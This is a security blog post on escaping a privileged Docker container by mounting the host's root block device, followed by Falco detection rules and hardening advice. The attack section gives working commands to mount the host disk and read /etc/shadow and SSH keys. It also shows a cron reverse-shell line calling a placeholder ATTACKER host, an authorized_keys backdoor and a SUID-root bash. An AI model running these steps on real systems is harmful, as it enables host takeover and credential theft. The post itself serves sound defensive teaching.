Intro
Second technique in the Container Escapes series. Same three phases as before: attack, detect, defend. Same threat model as the opener, a privileged container, and a different mechanism.
The core_pattern post abused a writable /proc/sys and the usermode-helper mechanism: write a file, then wait for the kernel to run it. Here the host’s root filesystem lives on a block device, and --privileged hands that block device to the container. If you can mount it, you get the real host disk, read-write, no waiting and no crash needed.
Like core_pattern, this is not a CVE. It is a consequence of the flag, and it works on a default Docker install the moment someone adds --privileged.
Threat model
The single misconfiguration is still this:
docker run --privileged ...
But “privileged” is a bundle, and the last post only needed one item from it. This one needs a specific set, so it is worth being exact about what has to be true for the mount to succeed. Five gates, all of which --privileged opens at once:
CAP_SYS_ADMINin the initial user namespace.mount(2)checks the capability against the user namespace that owns the mount namespace. Without it the syscall returnsEPERM. Docker creates no user namespace by default, so a privileged container holds the capability in the initial one, which is where a block device mount needs it.- Seccomp allowing
mount. Docker’s default profile permitsmountfor containers holdingCAP_SYS_ADMINand returnsEPERMfor everyone else.--privilegedsets seccomp tounconfined. - AppArmor allowing
mount. On Debian and Ubuntu thedocker-defaultprofile carriesdeny mount,, which rejects the syscall independently of capabilities and seccomp.--privilegedruns the container unconfined. Hosts using SELinux have no equivalent rule for this syscall. - The host block device is reachable. Two parts: the device node has to exist in the container’s
/dev(privileged bind-mounts the host/dev), and the device allowlist has to permit opening it. A default container gets a short list (null,zero,random, a few others).--privilegedreplaces it witha *:* rwm, which allows every device. - The filesystem driver is loaded on the host.
ext4here. The kernel is shared, so whatever mounts the host root is already available.
CAP_MKNOD is a sixth, optional one: if the device node is not already present, that capability lets you recreate it with mknod from the major:minor numbers.
Gates 2 and 3 are listed apart because they fail at different points. docker run --cap-add=SYS_ADMIN without --privileged satisfies the capability check and passes the seccomp filter, then stops at AppArmor.
The syscalls involved are small in number:
openat(2)on/dev/sdX, to open the block device.mount(2), to attach it to a directory.- optionally
mknod(2), to recreate the node. - for the quieter variant at the end,
openat(2)plusread(2)straight on the device, with nomountat all.
[!] This does not apply to a default container. A default Docker container drops
CAP_SYS_ADMIN, which also makes the seccomp profile refusemount, keeps the AppArmor profile that deniesmount, applies a tight device allowlist, and does not expose host block devices in/dev. Every gate above is closed. The attack assumes the privilege was already handed over.
Background: block devices, the device allowlist, and mount
Block devices and /dev
A block device is how Linux talks to storage. Disks and partitions show up as device nodes under /dev: /dev/sda is a whole disk, /dev/sda1 is the first partition on it. Each node is identified by a major and minor number, which is how the kernel routes reads and writes to the right driver.
The host’s root filesystem lives on one of these. On the lab VM it is /dev/sda1. Open that device and read it and you are reading the raw bytes of the host filesystem, inode tables and all.
A normal container never sees these nodes. Its /dev is a small tmpfs with a handful of pseudo-devices. There is no /dev/sda, so there is nothing to open.
The device allowlist
Even if a node existed, opening it is a second permission check. The allowlist decides which device nodes a process in the cgroup may open, keyed by type (c for char, b for block), major:minor, and access mode (r, w, m).
Where it lives depends on the cgroup version. Under cgroup v1 it is the devices controller, driven by the devices.allow and devices.deny files. Under cgroup v2 that controller was removed, and runc compiles the same rules into a BPF_PROG_TYPE_CGROUP_DEVICE eBPF program attached to the container’s cgroup. The a *:* rwm syntax below is the OCI and --device-cgroup-rule form, which describes both.
A default Docker container gets a short list: /dev/null, /dev/zero, /dev/random, /dev/urandom, /dev/tty, and a few more. Host disks are not on it, so even a node you created by hand would fail to open.
--privileged throws the list away and installs a single rule: a *:* rwm. Every device, every access. Combined with the host /dev being bind-mounted in, every host disk is now both present and openable.
What mount has to get past
Opening the device is not enough. Attaching it to a directory is mount(2), which the kernel gates on CAP_SYS_ADMIN. This is the single most powerful capability, and it is exactly the one --privileged grants.
The capability is checked against the user namespace that owns the mount namespace, and for a filesystem backed by a block device that check lands in the initial user namespace. ext4 is not marked FS_USERNS_MOUNT, so no capability held inside a nested user namespace will mount it. Only tmpfs, proc, sysfs, fuse and a handful of others carry that flag. Docker without userns-remap leaves the container in the initial user namespace, which puts the capability where the kernel wants it.
Two more locks sit in front of the syscall. Seccomp runs first, at syscall entry, before any capability check. Docker’s default profile lists mount under a rule conditioned on CAP_SYS_ADMIN, so a container holding the capability passes the filter and one without it gets EPERM from the filter’s default action. AppArmor runs next, inside the syscall, and the docker-default profile rejects the call with deny mount, even when seccomp let it through. --privileged sets both to unconfined.
Why it crosses the container boundary
The block device is the host disk itself. Mounting /dev/sda1 gives the live filesystem the host is running from: the same /etc, /root, and /home the host boots with, readable and writable in real time.
The host already has that device mounted at /. The kernel keys superblocks by block device, so the second mount finds the existing superblock and attaches a new mount point to it. Both mounts share one superblock, one page cache, one journal. A write from inside the container reaches the host immediately, and mounting a busy root filesystem this way leaves it intact.
Attack
Lab setup
Throwaway VM, default Docker. This mounts and writes the host root disk, so do not run it on anything you care about.
# confirm default docker: overlay2, default seccomp, no userns-remap
$ docker info --format '{{.Driver}} {{.SecurityOptions}}'
overlay2 [name=apparmor name=seccomp,profile=default name=cgroupns]
Note which device backs the host root, so we can recognize it from inside the container later:
$ findmnt -n -o SOURCE /
/dev/sda1
$ cat /etc/hostname
debian-lab
Start the vulnerable container:
$ docker run --rm -it --privileged ubuntu:22.04 bash
Recon
First move inside an unknown container: measure how restricted you are. Only /proc and /dev are needed.
# capabilities
root@ctr:/# grep CapEff /proc/self/status
CapEff: 0000003fffffffff
That is every capability this Docker grants. The kernel usually defines more. 0000003fffffffff covers bits 0 to 37, ending at CAP_AUDIT_READ, while the lab kernel is 5.10 and reports cap_last_cap 40. CAP_PERFMON, CAP_BPF and CAP_CHECKPOINT_RESTORE exist on it, and Docker 20.10 predates all three. A newer Docker on the same kernel gives 000001ffffffffff.
Treat a full set as a hint. --cap-add produces the same bits for whatever it adds. The bit that matters here is CAP_SYS_ADMIN, which authorizes mount. Seccomp, AppArmor and the device allowlist are separate gates and have to be tested separately.
# what block devices can we see?
root@ctr:/# ls -l /dev/sda*
brw-rw---- 1 root disk 8, 0 /dev/sda
brw-rw---- 1 root disk 8, 1 /dev/sda1
brw-rw---- 1 root disk 8, 2 /dev/sda2
brw-rw---- 1 root disk 8, 5 /dev/sda5
root@ctr:/# lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
sda 8:0 0 20G 0 disk
|-sda1 8:1 0 19G 0 part /etc/hosts
| /etc/hostname
| /etc/resolv.conf
|-sda2 8:2 0 1K 0 part
`-sda5 8:5 0 975M 0 part [SWAP]
sr0 11:0 1 388M 0 rom
Host disks are visible, so the host /dev is bind-mounted in. Visibility says nothing about the allowlist, which is enforced at open(), so test that separately:
root@ctr:/# dd if=/dev/sda1 bs=512 count=1 status=none | wc -c
512
512 bytes back means the allowlist permits the device. A denied one reports dd: failed to open '/dev/sda1': Operation not permitted.
lsblk also hands us the target for free: sda1 is mounted at /etc/hosts, /etc/hostname, and /etc/resolv.conf. Docker generates those three files under /var/lib/docker/containers/<id>/ and bind-mounts them in, so the partition behind them is whichever one holds /var/lib/docker. Here that is the root partition, /dev/sda1. On a host with /var/lib/docker on its own disk this points at that disk instead, and the root filesystem is a different partition in the same lsblk output.
[!] Inside the container,
/is an overlay filesystem, andfindmnt /reportsoverlay. The host disk lives elsewhere: a raw block node in/dev, reachable here only because--privilegedexposed it.
The escape
Three lines.
root@ctr:/# mkdir -p /mnt/host
root@ctr:/# mount /dev/sda1 /mnt/host
root@ctr:/# ls /mnt/host
ROOT.TXT bin boot dev etc home lib lib64 ... root run sbin srv sys tmp usr var
/mnt/host is now the live host filesystem.
[!] The mount is read-write by default. Add
-o roif you only mean to look.
From disk access to host root
The mount gives two primitives, and every follow-on step is built from them: read any file on the host, and write any file on the host. First confirm that the mount really landed on the host:
# whose hostname is this?
root@ctr:/# cat /mnt/host/etc/hostname
debian-lab
The hostname comes back as debian-lab, the host itself. Now the two primitives.
Read: harvest secrets. The entire host filesystem is readable. The targets that turn into further access:
# password hashes, to crack offline
root@ctr:/# grep '^root:' /mnt/host/etc/shadow
root:$y$[... real host root hash ...]
# existing keys to reuse, and the host's own SSH host keys (impersonation material)
root@ctr:/# ls /mnt/host/root/.ssh /mnt/host/home/*/.ssh
root@ctr:/# ls /mnt/host/etc/ssh/ssh_host_*_key
# whatever this box actually holds
root@ctr:/# ls /mnt/host/root/.aws /mnt/host/etc/kubernetes 2>/dev/null
None of this is namespaced away, since these are the host’s real /etc, /root, and /home.
Write: turn the read into a session. Writing is what moves you off the container onto the host. One file proves the primitive:
root@ctr:/# echo "escaped-from-container" > /mnt/host/root/ESCAPE_PROOF.txt
# and from the host itself:
$ cat /root/ESCAPE_PROOF.txt
escaped-from-container
That file could have been anything. The standard moves, all just writes to the mounted disk:
# 1. drop your key in root's authorized_keys, then log in as root
root@ctr:/# mkdir -p /mnt/host/root/.ssh
root@ctr:/# cat attacker_key.pub >> /mnt/host/root/.ssh/authorized_keys
# then from your machine: ssh root@host -> root shell on the host
# 2. a root cron job that calls back
root@ctr:/# echo '* * * * * root bash -i >& /dev/tcp/ATTACKER/4444 0>&1' \
>> /mnt/host/etc/cron.d/x
# 3. a SUID-root shell sitting on the host filesystem
root@ctr:/# cp /bin/bash /mnt/host/bin/rootbash && chmod 4755 /mnt/host/bin/rootbash
# then on the host: /bin/rootbash -p
-p on that last one is required. bash drops the effective UID back to the real one at startup unless it is passed, so a SUID bash without -p hands back an ordinary shell.
Or skip the file tricks and act as host root right now, with chroot:
root@ctr:/# chroot /mnt/host /bin/bash
root@host:/# id
uid=0(root) gid=0(root) groups=0(root)
root@host:/# hostname
debian-lab
chroot /mnt/host gives a shell whose whole filesystem is the host. From there it is an ordinary root box: read every secret, add users, install what you want.
The quieter variant
The mount is the direct path, and it trips a mount(2) the moment it happens. If you only need to read the host filesystem, you can skip mount entirely and read the block device directly. No mount(2), just openat and read on the device. This changes what a defender sees, which the Detect section gets into.
The crude version is grep, dd, or strings over the raw device. grep -a treats the device as text and matches on newline boundaries:
root@ctr:/# grep -a -o -m1 '^root:.*:0:0:' /dev/sda1
root:*:0:0:
dd streams the device into a filter, same idea:
root@ctr:/# dd if=/dev/sda1 bs=1M 2>/dev/null | grep -a -o -m1 '^root:.*:0:0:'
root:*:0:0:
strings works too, if binutils is present (strings /dev/sda1 | grep ...).
These are opportunistic. They scan the whole disk, so they are slow, they are positional (a dd over just the first 512M missed this file, because it sits deeper on the partition), they catch stale deleted copies sitting in free blocks, and they can miss a file that is fragmented across non-adjacent blocks.
The hit above shows the problem. A live Debian /etc/passwd has root:x:0:0:, and the * in that output comes from /usr/share/base-passwd/passwd.master, a template file that happens to match the pattern. A raw scan returns whichever copy it reaches first, with no way to tell which file it belongs to.
The clean version is to read the file through the filesystem driver without mounting. debugfs, part of e2fsprogs and already present in the ubuntu image, walks the ext4 structures and reads the real inode:
root@ctr:/# debugfs -c -R "cat /etc/shadow" /dev/sda1
debugfs 1.46.5 (30-Dec-2021)
/dev/sda1: catastrophic mode - not reading inode or group bitmaps
root:$y$[... real host root hash ...]:20673:0:99999:7:::
daemon:*:20673:0:99999:7:::
bin:*:20673:0:99999:7:::
sys:*:20673:0:99999:7:::
...
-R runs one command, cat /etc/shadow, against the device. Reading a filesystem the host has mounted and busy works because debugfs opens the device read-only by default. -c is catastrophic mode, which skips the inode and group bitmaps and shows up in the banner above. It helps on a large or damaged filesystem, and the command works without it.
The result is the complete, current /etc/shadow with usable hashes, pulled without a single mount call. ntfscat reads a file by path from an NTFS volume the same way. XFS has no direct equivalent: xfs_db is a structure debugger, so pulling a file there means walking the inode and its extents by hand.
An open of the block device is all any of this leaves behind.
The read path also stops at reading. Writing without mount means debugfs -w or raw block writes, and both edit a filesystem the running host has mounted and cached. The kernel knows nothing about those writes, so its page cache can overwrite them and the metadata can end up inconsistent.
Detect
Same setup as the last post. Falco taps the kernel through an eBPF probe and matches syscalls against rules. The question is whether it sees this escape.
Default rules
I ran Falco with only its stable default ruleset and repeated the attack. The -it shell above is convenient for exploring by hand, and the Falco rounds ran the PoC as a script instead, so the measurement covers the escape and nothing around it:
$ docker run --rm -i --privileged ubuntu:22.04 bash -s < poc.sh
$ grep -c '"priority"' falco-round1.json
0
Zero alerts.
This is the mount path only: mount plus the raw grep read, no compiler and no crash. The core_pattern PoC at least tripped the default rules by accident, because it compiled a crasher and default Falco flags new binaries. Here there is nothing incidental to catch.
Two details produce that zero. A piped bash -s has no TTY, and the stock “Terminal shell in container” rule keys on an interactive terminal, so the same commands under docker run -it do fire it. That alert reports a shell, and it fires just as readily on someone debugging the image, so it says nothing about the mount. The rule that names the mount, “Mount Launched in Privileged Container”, ships in the incubating maturity tier, which the stable ruleset does not load.
One read variant, debugfs, does trip a stock rule, covered further below.
A rule that catches the mechanism
The action that performs the escape is the mount of a host block device, so that is what the rule should watch. Falco exposes evt.type = mount and the mount arguments, so we can match the source device directly.
- rule: Mount host block device from container
desc: >
A process inside a container issued mount(2) against a host block device
(SCSI/SATA, virtio, NVMe, Xen, device-mapper, MD RAID, eMMC). In a
privileged container this mounts the live host filesystem, giving full
host root (T1611).
condition: >
evt.type = mount and evt.dir = < and container
and (evt.arg.dev startswith "/dev/sd"
or evt.arg.dev startswith "/dev/vd"
or evt.arg.dev startswith "/dev/nvme"
or evt.arg.dev startswith "/dev/xvd"
or evt.arg.dev startswith "/dev/mapper"
or evt.arg.dev startswith "/dev/dm-"
or evt.arg.dev startswith "/dev/md"
or evt.arg.dev startswith "/dev/mmcblk")
output: >
host block device mounted from inside a container
(device=%evt.arg.dev dir=%evt.arg.dir fstype=%evt.arg.type
proc=%proc.cmdline user=%user.name
container=%container.name image=%container.image.repository:%container.image.tag)
priority: CRITICAL
tags: [container, escape, mitre_privilege_escalation, T1611]
I paired it with a second rule for the quiet variant, matching an open of a raw block device from a container, so reading the disk with dd does not slip past silently.
Load the rule and run Falco:
docker run --rm -d --name falco --privileged --pid=host \
-v /var/run/docker.sock:/host/var/run/docker.sock \
-v /dev:/host/dev -v /proc:/host/proc:ro -v /etc:/host/etc:ro \
-v "$PWD/devicemount_rule.yaml:/etc/falco/rules.d/devicemount.yaml:ro" \
falcosecurity/falco:latest \
falco -o engine.kind=modern_ebpf -o json_output=true \
-o json_include_output_property=true -o buffered_outputs=false
--pid=host matters. Drop it and Falco runs outside the host PID namespace, logs disabled BPF iterators (not running in the root PID namespace), and enriches processes and containers poorly. Syscall events still flow either way, so the rules fire regardless, and the fields in the alert are only trustworthy with the flag on.
Run the escape, then pull the alert:
$ grep '"rule":"Mount host block device from container"' <(docker logs falco)
Now it fires:
{
"priority": "Critical",
"rule": "Mount host block device from container",
"output": "host block device mounted from inside a container (device=/dev/sda1 dir=/mnt/host fstype=ext4 proc=mount /dev/sda1 /mnt/host user=root container=vigilant_jackson image=ubuntu:22.04)",
"output_fields": {
"evt.arg.dev": "/dev/sda1",
"evt.arg.dir": "/mnt/host",
"evt.arg.type": "ext4",
"proc.cmdline": "mount /dev/sda1 /mnt/host",
"container.name": "vigilant_jackson",
"container.image.repository": "ubuntu",
"container.image.tag": "22.04",
"user.name": "root"
},
"source": "syscall",
"tags": ["T1611", "container", "escape", "mitre_privilege_escalation"]
}
CRITICAL, on the mount itself, with the source device, the target directory, and the filesystem type, tagged T1611 (Escape to Host). The second rule also fired on the block-device open, three times, once for each open the mount command and the raw read performed.
Catching the read-only variants
The mount rule does nothing for the quiet path, because grep, dd, and debugfs never call mount. They open the block device and read it. So the second rule watches exactly that, an open of a host block device from a container:
- rule: Open host block device from container
desc: >
A process inside a container opened a raw host block device. Covers the
read-only variants (dd, grep, debugfs) that skip mount(2) and read the
disk directly, which still leaks the entire host filesystem (T1611).
condition: >
(open_write or open_read) and container
and (fd.name startswith "/dev/sd"
or fd.name startswith "/dev/vd"
or fd.name startswith "/dev/nvme"
or fd.name startswith "/dev/xvd"
or fd.name startswith "/dev/dm-"
or fd.name startswith "/dev/md"
or fd.name startswith "/dev/mmcblk")
output: >
raw host block device opened from inside a container
(file=%fd.name mode=%evt.arg.flags proc=%proc.cmdline user=%user.name
container=%container.name image=%container.image.repository:%container.image.tag)
priority: WARNING
tags: [container, escape, mitre_privilege_escalation, T1611]
Running the read-only PoC (all three tools, no mount) fires it once per tool, and the proc.cmdline field names which one:
$ grep '"rule":"Open host block device' <(docker logs falco) \
| grep -o '"proc.cmdline":"[^"]*"' | sort -u
"proc.cmdline":"dd if=/dev/sda1 bs=1M"
"proc.cmdline":"debugfs -c -R cat /etc/shadow /dev/sda1"
"proc.cmdline":"grep -a -o -m1 ^root:.*:0:0: /dev/sda1"
The debugfs open, for example:
{
"priority": "Warning",
"rule": "Open host block device from container",
"output_fields": {
"fd.name": "/dev/sda1",
"evt.arg.flags": "O_RDONLY",
"proc.cmdline": "debugfs -c -R cat /etc/shadow /dev/sda1",
"container.image.repository": "ubuntu",
"user.name": "root"
},
"source": "syscall",
"tags": ["T1611", "container", "escape", "mitre_privilege_escalation"]
}
There is one more result worth calling out. The default ruleset says nothing about the mount or the dd and grep reads, but it does catch debugfs, because it ships a dedicated rule for it:
{
"priority": "Warning",
"rule": "Debugfs Launched in Privileged Container",
"output_fields": {
"proc.name": "debugfs",
"proc.exepath": "/usr/sbin/debugfs",
"proc.pname": "bash",
"command": "debugfs -c -R cat /etc/shadow /dev/sda1",
"user.name": "root"
},
"tags": ["T1611", "cis", "container", "maturity_stable", "mitre_privilege_escalation", "process"]
}
debugfs is an ext filesystem debugger with a well documented offensive use, and Falco ships a rule named after the binary, so the cleanest read variant is also the one default Falco is most likely to see. That rule keys on the process name, which any renamed or statically linked copy defeats. The dd and grep reads, and the mount itself, are only caught once you add the two rules above. Watching the device access covers all four paths at once, whatever tool does the reading.
Detection gaps
What the rule does and does not cover:
- It fires on
mountof a path matching a host block device, on syscall exit, before the attacker has read or written anything through it. There is no check on the return value, so a mount that was denied alerts as well, which is what you want from an attempted escape. - The companion rule covers the raw
openof the device, so thedd,grep, anddebugfsvariants are caught too, since all of them open/dev/sda1. Its reach depends on theopen_readandopen_writemacros, which resolve the open flags, and on the probe emitting the syscall at all. A tool reaching the device throughopenat2on a build without that event, or through an inherited file descriptor, leaves no match. - The rule matches the device string Falco sees, so it is only as complete as its prefix list. The list above covers SCSI/SATA, virtio, NVMe, Xen, device-mapper, MD RAID and eMMC. It leaves out
/dev/loop, deliberately, because loop mounts are common and mostly benign, and a host image file reached through one is a different technique. Anything on the host with a name outside the list is uncovered. - None of this stops the escape, since Falco alerts after the syscall has already run.
Defend
The single misconfiguration
Everything traces back to --privileged. Remove it and every gate from the threat model closes at once: no CAP_SYS_ADMIN, which also makes the default seccomp profile refuse mount, an AppArmor profile denying mount on its own, a tight device allowlist, and no host block devices in /dev. The first defense is the obvious one, do not run privileged containers, and most workloads never need it.
But “do not misconfigure it” is not a control. Defense in depth means the escape should fail even when one layer is wrong. Each of the following breaks it on its own.
To land this escape an attacker needs to open the host device and then mount it. Take away the ability to open it (device allowlist, empty /dev) or the ability to mount it (seccomp, AppArmor, CAP_SYS_ADMIN, a user namespace) and the chain breaks.
Two things are worth spelling out. An empty /dev holds only while CAP_MKNOD is gone, since that capability recreates the node from its major:minor numbers, which is why the last row pairs them. A read-only rootfs belongs nowhere on this list. mount(2) needs its target directory to exist, and /mnt, /opt, /media or any tmpfs already in the image serves as one.
Defaults done right
This is the reason the series exists, so here is bctor, my from-scratch container runtime, against the same attack. Its design rule is that every isolation control is on by default and weakening it has to be an explicit opt-in.
I ran the exact recon and escape one-liner inside a default bctor container. The output, unedited:
---DEV
crw-rw-rw- 1 0 0 1, 3 null
crw-rw-rw- 1 0 0 1, 9 urandom
crw-rw-rw- 1 0 0 1, 5 zero
---SDX
ls: /dev/sd*: No such file or directory
---CAPS
CapEff: 0000000000000000
NoNewPrivs: 1
---MOUNT
mkdir: can't create directory '/mnt/': Read-only file system
Bad system call (core dumped)
rc=159
Read from the bottom up, that is three configured walls and one structural:
mountreturnsBad system calland the process dies with exit159. That is128 + 31, signalSIGSYS: bctor’s seccomp profile does not listmount, so the kernel kills the call before it runs. This wall stops the escape on its own.CapEff: 0000000000000000. Every capability is dropped, so even without seccomp there is noCAP_SYS_ADMINto authorizemountand noCAP_MKNODto recreate a node./devholdsnull,zero, andurandomand nothing else. There is no host block device to target, and withCAP_MKNODgone none can be created.- the container runs in its own user namespace, and the
FS_USERNS_MOUNTrule from earlier makes that decisive:ext4cannot be mounted from a nested user namespace whatever the capabilities say. This one holds even if the other three are configured away.
The mkdir failure in that output shows the read-only rootfs working, and it stops nothing here: the tmpfs mounts bctor puts on /tmp, /run and /var would each have served as a mount target.
None of the four can be turned off without an explicit flag.
[!] bctor mounts the container’s own root and pivots into it during setup, which does need
mount. That happens in the init stage, before the seccomp filter is installed on the workload. Setup can mount, the workload cannot. This is the usual pattern: do the privileged work early, then drop everything before running user code.
One honest note: bctor does not yet implement a cgroup v2 device allowlist. What removes the device here is the empty /dev and the dropped capabilities. The eBPF device program would add another independent layer, and it is on the roadmap, but I am not going to claim a control the code does not have yet.
Conclusion
- The attack is one line,
mount /dev/sda1 /mnt/host, once you see that the host root disk is a block device sitting in the container’s/devand that--privilegedopens the device allowlist along with every check in front ofmount. What follows is just read and write on the host filesystem: shadow hashes out, an SSH key or achrootin. - The detection is the same lesson as the last post. Default rules missed the
mountand thedd/grepreads, and only caughtdebugfsby luck, because it happens to have its own stock rule. Reliable detection watches the mechanism, the mount and the block-device open, which covers every tool the attacker might reach for. - The defense is layered. Seccomp, AppArmor,
CAP_SYS_ADMIN, a user namespace and the device allowlist each break the chain alone. An empty/devneedsCAP_MKNODdropped beside it.
Next in the series I will take another escape through the same attack, detect, defend cycle.
Check the repo: BCTOR GITHUB REPO
Follow me if this was useful. Hope you liked it! :)
References
https://man7.org/linux/man-pages/man2/mount.2.html
https://man7.org/linux/man-pages/man7/user_namespaces.7.html
https://man7.org/linux/man-pages/man7/capabilities.7.html
https://man7.org/linux/man-pages/man8/debugfs.8.html
https://github.com/moby/moby/blob/master/profiles/seccomp/default.json
https://github.com/moby/moby/blob/master/profiles/apparmor/template.go
https://docs.kernel.org/admin-guide/cgroup-v1/devices.html
https://docs.kernel.org/admin-guide/cgroup-v2.html
https://falco.org/docs/reference/rules/default-rules/
https://attack.mitre.org/techniques/T1611/